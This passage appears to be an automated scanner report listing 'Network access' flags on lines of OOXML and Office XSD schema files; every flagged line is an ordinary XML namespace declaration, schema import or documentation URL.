    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 4
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/customXml"
  • Network accessline 4
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 5
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/customXml"
  • Network accessline 6
    elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 7
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/schemaLibrary/2006/main"
  • Network accessline 4
    targetNamespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties"
  • Network accessline 4
    xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"
  • Network accessline 5
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 6
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties"
  • Network accessline 7
    blockDefault="#all" elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"     schemaLocation="shared-documentPropertiesVariantTypes.xsd"/>
  • Network accessline 8
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"
  • Network accessline 9
    schemaLocation="shared-documentPropertiesVariantTypes.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 10
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties"
  • Network accessline 4
    xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"
  • Network accessline 5
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties"
  • Network accessline 6
    elementFormDefault="qualified" blockDefault="#all">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"     schemaLocation="shared-documentPropertiesVariantTypes.xsd"/>
  • Network accessline 7
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"
  • Network accessline 4
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 5
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"
  • Network accessline 6
    blockDefault="#all" elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 7
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/math"
  • Network accessline 4
    xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math"
  • Network accessline 5
    xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 6
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 7
    elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all"   targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/math">   <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/
  • Network accessline 8
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/math">
  • Network accessline 9
    <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 10
    schemaLocation="wml.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 11
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 12
    schemaLocation="shared-commonSimpleTypes.xsd"/>   <xsd:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="xml.xsd"/>   <xsd:simpleType name="ST_Integer255">
  • Network accessline 13
    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="xml.xsd"/>

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 4
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 5
    elementFormDefault="qualified"   targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"   blockDefault="#all">
  • Network accessline 6
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
  • Network accessline 4
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 5
    xmlns:xdr="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"
  • Network accessline 6
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 7
    targetNamespace="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
  • Network accessline 8
    elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 9
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 10
    schemaLocation="shared-relationshipReference.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 11
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 12
    schemaLocation="shared-commonSimpleTypes.xsd"/>   <xsd:import      namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"
  • Network accessline 13
    <xsd:import      namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"     schemaLocation="dml-spreadsheetDrawing.xsd"/>
  • Network accessline 14
    namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="urn:schemas-microsoft-com:vml"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="urn:schemas-microsoft-com:vml"
  • Network accessline 3
    xmlns:pvml="urn:schemas-microsoft-com:office:powerpoint"   xmlns:o="urn:schemas-microsoft-com:office:office"   xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 4
    xmlns:o="urn:schemas-microsoft-com:office:office"   xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"   xmlns:w10="urn:schemas-microsoft-com:office:word"
  • Network accessline 5
    xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 6
    xmlns:w10="urn:schemas-microsoft-com:office:word"   xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"   xmlns:x="urn:schemas-microsoft-com:office:excel"
  • Network accessline 7
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 8
    xmlns:x="urn:schemas-microsoft-com:office:excel"   xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"   targetNamespace="urn:schemas-microsoft-com:vml" elementFormDefault="qualified"
  • Network accessline 9
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 12
    <xsd:import namespace="urn:schemas-microsoft-com:office:office"     schemaLocation="vml-officeDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 13
    schemaLocation="vml-officeDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"     schemaLocation="wml.xsd"/>
  • Network accessline 14
    <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 16
    <xsd:import namespace="urn:schemas-microsoft-com:office:word"     schemaLocation="vml-wordprocessingDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 17
    schemaLocation="vml-wordprocessingDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 18
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 22
    <xsd:import namespace="urn:schemas-microsoft-com:office:powerpoint"     schemaLocation="vml-presentationDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 23
    schemaLocation="vml-presentationDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 24
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="urn:schemas-microsoft-com:office:office" xmlns:v="urn:schemas-microsoft-com:vml"   xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"   xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedT
  • Network accessline 4
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 5
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 7
    attributeFormDefault="unqualified">   <xsd:import namespace="urn:schemas-microsoft-com:vml" schemaLocation="vml-main.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 8
    <xsd:import namespace="urn:schemas-microsoft-com:vml" schemaLocation="vml-main.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 9
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 10
    schemaLocation="shared-relationshipReference.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 11
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="urn:schemas-microsoft-com:office:excel"   xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"   targetNamespace="urn:schemas-microsoft-com:office:excel" elementFormDefault="qualified"
  • Network accessline 4
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 5
    targetNamespace="urn:schemas-microsoft-com:office:excel" elementFormDefault="qualified"   attributeFormDefault="unqualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 6
    attributeFormDefault="unqualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 7
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math"
  • Network accessline 4
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 5
    xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main"
  • Network accessline 6
    xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"
  • Network accessline 7
    xmlns="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 8
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 9
    xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
  • Network accessline 10
    elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all"   targetNamespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main">   <xsd:import namespace="http://schemas.openxmlformats.org/markup-compatib
  • Network accessline 11
    targetNamespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
  • Network accessline 12
    <xsd:import namespace="http://schemas.openxmlformats.org/markup-compatibility/2006" schemaLocation="../mce/mc.xsd"/>
  • Network accessline 13
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"
  • Network accessline 14
    schemaLocation="dml-wordprocessingDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/math"     schemaLocation="shared-math.xsd"/>
  • Network accessline 15
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/math"
  • Network accessline 16
    schemaLocation="shared-math.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 17
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 18
    schemaLocation="shared-relationshipReference.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 19
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 20
    schemaLocation="shared-commonSimpleTypes.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main"     schemaLocation="shared-customXmlSchemaProperties.xsd"/>
  • Network accessline 21
    <xsd:import namespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main"
  • Network accessline 22
    schemaLocation="shared-customXmlSchemaProperties.xsd"/>   <xsd:import namespace="http://www.w3.org/XML/1998/namespace"/>   <xsd:complexType name="CT_Empty"/>
  • Network accessline 23
    <xsd:import namespace="http://www.w3.org/XML/1998/namespace"/>

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd

  • Network accessline 1
    <?xml version='1.0'?> <xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema" xml:lang="en">
  • Network accessline 2
    <xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema" xml:lang="en">
  • Network accessline 4
    <xs:annotation>   <xs:documentation>    See http://www.w3.org/XML/1998/namespace.html and
  • Network accessline 5
    <xs:documentation>    See http://www.w3.org/XML/1998/namespace.html and    http://www.w3.org/TR/REC-xml for information about this namespace.
  • Network accessline 6
    See http://www.w3.org/XML/1998/namespace.html and
  • Network accessline 7
    http://www.w3.org/TR/REC-xml for information about this namespace.
  • Network accessline 55
    &lt;schema . . .>          . . .          &lt;import namespace="http://www.w3.org/XML/1998/namespace"
  • Network accessline 56
    . . .          &lt;import namespace="http://www.w3.org/XML/1998/namespace"                     schemaLocation="http://www.w3.org/2001/03/xml.xsd"/>
  • Network accessline 57
    &lt;import namespace="http://www.w3.org/XML/1998/namespace"
  • Network accessline 58
    schemaLocation="http://www.w3.org/2001/03/xml.xsd"/>
  • Network accessline 72
    <xs:documentation>In keeping with the XML Schema WG's standard versioning    policy, this schema document will persist at    http://www.w3.org/2001/03/xml.xsd.
  • Network accessline 73
    policy, this schema document will persist at    http://www.w3.org/2001/03/xml.xsd.    At the date of issue it can also be found at
  • Network accessline 74
    http://www.w3.org/2001/03/xml.xsd.
  • Network accessline 75
    At the date of issue it can also be found at    http://www.w3.org/2001/xml.xsd.    The schema document at that URI may however change in the future,
  • Network accessline 76
    http://www.w3.org/2001/xml.xsd.
  • Network accessline 79
    itself.  In other words, if the XML Schema namespace changes, the version    of this document at    http://www.w3.org/2001/xml.xsd will change
  • Network accessline 80
    of this document at    http://www.w3.org/2001/xml.xsd will change    accordingly; the version at
  • Network accessline 81
    http://www.w3.org/2001/xml.xsd will change
  • Network accessline 82
    accordingly; the version at    http://www.w3.org/2001/03/xml.xsd will not change.   </xs:documentation>
  • Network accessline 83
    http://www.w3.org/2001/03/xml.xsd will not change.
  • Network accessline 103
    <xs:attribute name="base" type="xs:anyURI">   <xs:annotation>    <xs:documentation>See http://www.w3.org/TR/xmlbase/ for
  • Network accessline 104
    <xs:annotation>    <xs:documentation>See http://www.w3.org/TR/xmlbase/ for                      information about this attribute.</xs:documentation>
  • Network accessline 105
    <xs:documentation>See http://www.w3.org/TR/xmlbase/ for

skills/docx-official/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd

  • Network accessline 1
    <U+FEFF><?xml version="1.0" encoding="UTF-8" standalone="no"?> <xs:schema xmlns="http://schemas.openxmlformats.org/package/2006/content-types"
  • Network accessline 2
    <xs:schema xmlns="http://schemas.openxmlformats.org/package/2006/content-types"
  • Network accessline 3
    xmlns:xs="http://www.w3.org/2001/XMLSchema"
  • Network accessline 4
    targetNamespace="http://schemas.openxmlformats.org/package/2006/content-types"

skills/docx-official/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd

  • Network accessline 1
    <U+FEFF><?xml version="1.0" encoding="UTF-8"?> <xs:schema targetNamespace="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"
  • Network accessline 2
    <xs:schema targetNamespace="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"
  • Network accessline 4
    xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:dc="http://purl.org/dc/elements/1.1/"
  • Network accessline 5
    xmlns:dcterms="http://purl.org/dc/terms/" elementFormDefault="qualified" blockDefault="#all">
  • Network accessline 7
    <xs:import namespace="http://purl.org/dc/elements/1.1/"
  • Network accessline 8
    schemaLocation="http://dublincore.org/schemas/xmls/qdc/2003/04/02/dc.xsd"/>
  • Network accessline 9
    <xs:import namespace="http://purl.org/dc/terms/"
  • Network accessline 10
    schemaLocation="http://dublincore.org/schemas/xmls/qdc/2003/04/02/dcterms.xsd"/>
  • Network accessline 11
    <xs:import id="xml" namespace="http://www.w3.org/XML/1998/namespace"/>

skills/docx-official/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="UTF-8"?> <xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/digital-signature"
  • Network accessline 2
    <xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/digital-signature"
  • Network accessline 3
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 4
    targetNamespace="http://schemas.openxmlformats.org/package/2006/digital-signature"

skills/docx-official/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd

  • Network accessline 1
    <U+FEFF><?xml version="1.0" encoding="UTF-8" standalone="no"?> <xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/relationships"
  • Network accessline 2
    <xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/relationships"
  • Network accessline 3
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 4
    targetNamespace="http://schemas.openxmlformats.org/package/2006/relationships"

skills/docx-official/ooxml/schemas/mce/mc.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
  • Network accessline 2
    <xsd:schema xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
  • Network accessline 3
    attributeFormDefault="unqualified" elementFormDefault="qualified" 	targetNamespace="http://schemas.openxmlformats.org/markup-compatibility/2006" 	xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  • Network accessline 4
    targetNamespace="http://schemas.openxmlformats.org/markup-compatibility/2006"
  • Network accessline 5
    xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  • Network accessline 7
    <!--     This XSD is a modified version of the one found at:     https://github.com/plutext/docx4j/blob/master/xsd/mce/markup-compatibility-2006-MINIMAL.xsd
  • Network accessline 9
    https://github.com/plutext/docx4j/blob/master/xsd/mce/markup-compatibility-2006-MINIMAL.xsd
  • Network accessline 15
    <w:document 			            xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
  • Network accessline 16
    xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
  • Network accessline 17
    xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"

skills/docx-official/ooxml/schemas/microsoft/wml-2010.xsd

  • Network accessline 1
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns:r="http://schemas.op
  • Network accessline 2
    <!-- <xsd:import id="rel" namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="orel.xsd"/> -->
  • Network accessline 3
    <xsd:import id="w" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
  • Network accessline 4
    <!-- <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="oartbasetypes.xsd"/>
  • Network accessline 5
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="oartsplineproperties.xsd"/> -->

skills/docx-official/ooxml/schemas/microsoft/wml-2012.xsd

  • Network accessline 1
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" elementFormDefault="qualified" att
  • Network accessline 2
    <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
  • Network accessline 3
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="../ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd"/>

skills/docx-official/ooxml/schemas/microsoft/wml-2018.xsd

  • Network accessline 1
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr
  • Network accessline 2
    <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>

skills/docx-official/ooxml/schemas/microsoft/wml-cex-2018.xsd

  • Network accessline 1
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" xmlns:w16="http://schemas.microsoft.
  • Network accessline 2
    <xsd:import id="w16" namespace="http://schemas.microsoft.com/office/word/2018/wordml" schemaLocation="wml-2018.xsd"/>
  • Network accessline 3
    <xsd:import id="w" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
  • Network accessline 4
    <xsd:import id="s" namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="../ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd"/>

skills/docx-official/ooxml/schemas/microsoft/wml-cid-2016.xsd

  • Network accessline 1
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr
  • Network accessline 2
    <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>

skills/docx-official/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd

  • Network accessline 1
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr
  • Network accessline 2
    <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>

skills/docx-official/ooxml/schemas/microsoft/wml-symex-2015.xsd

  • Network accessline 1
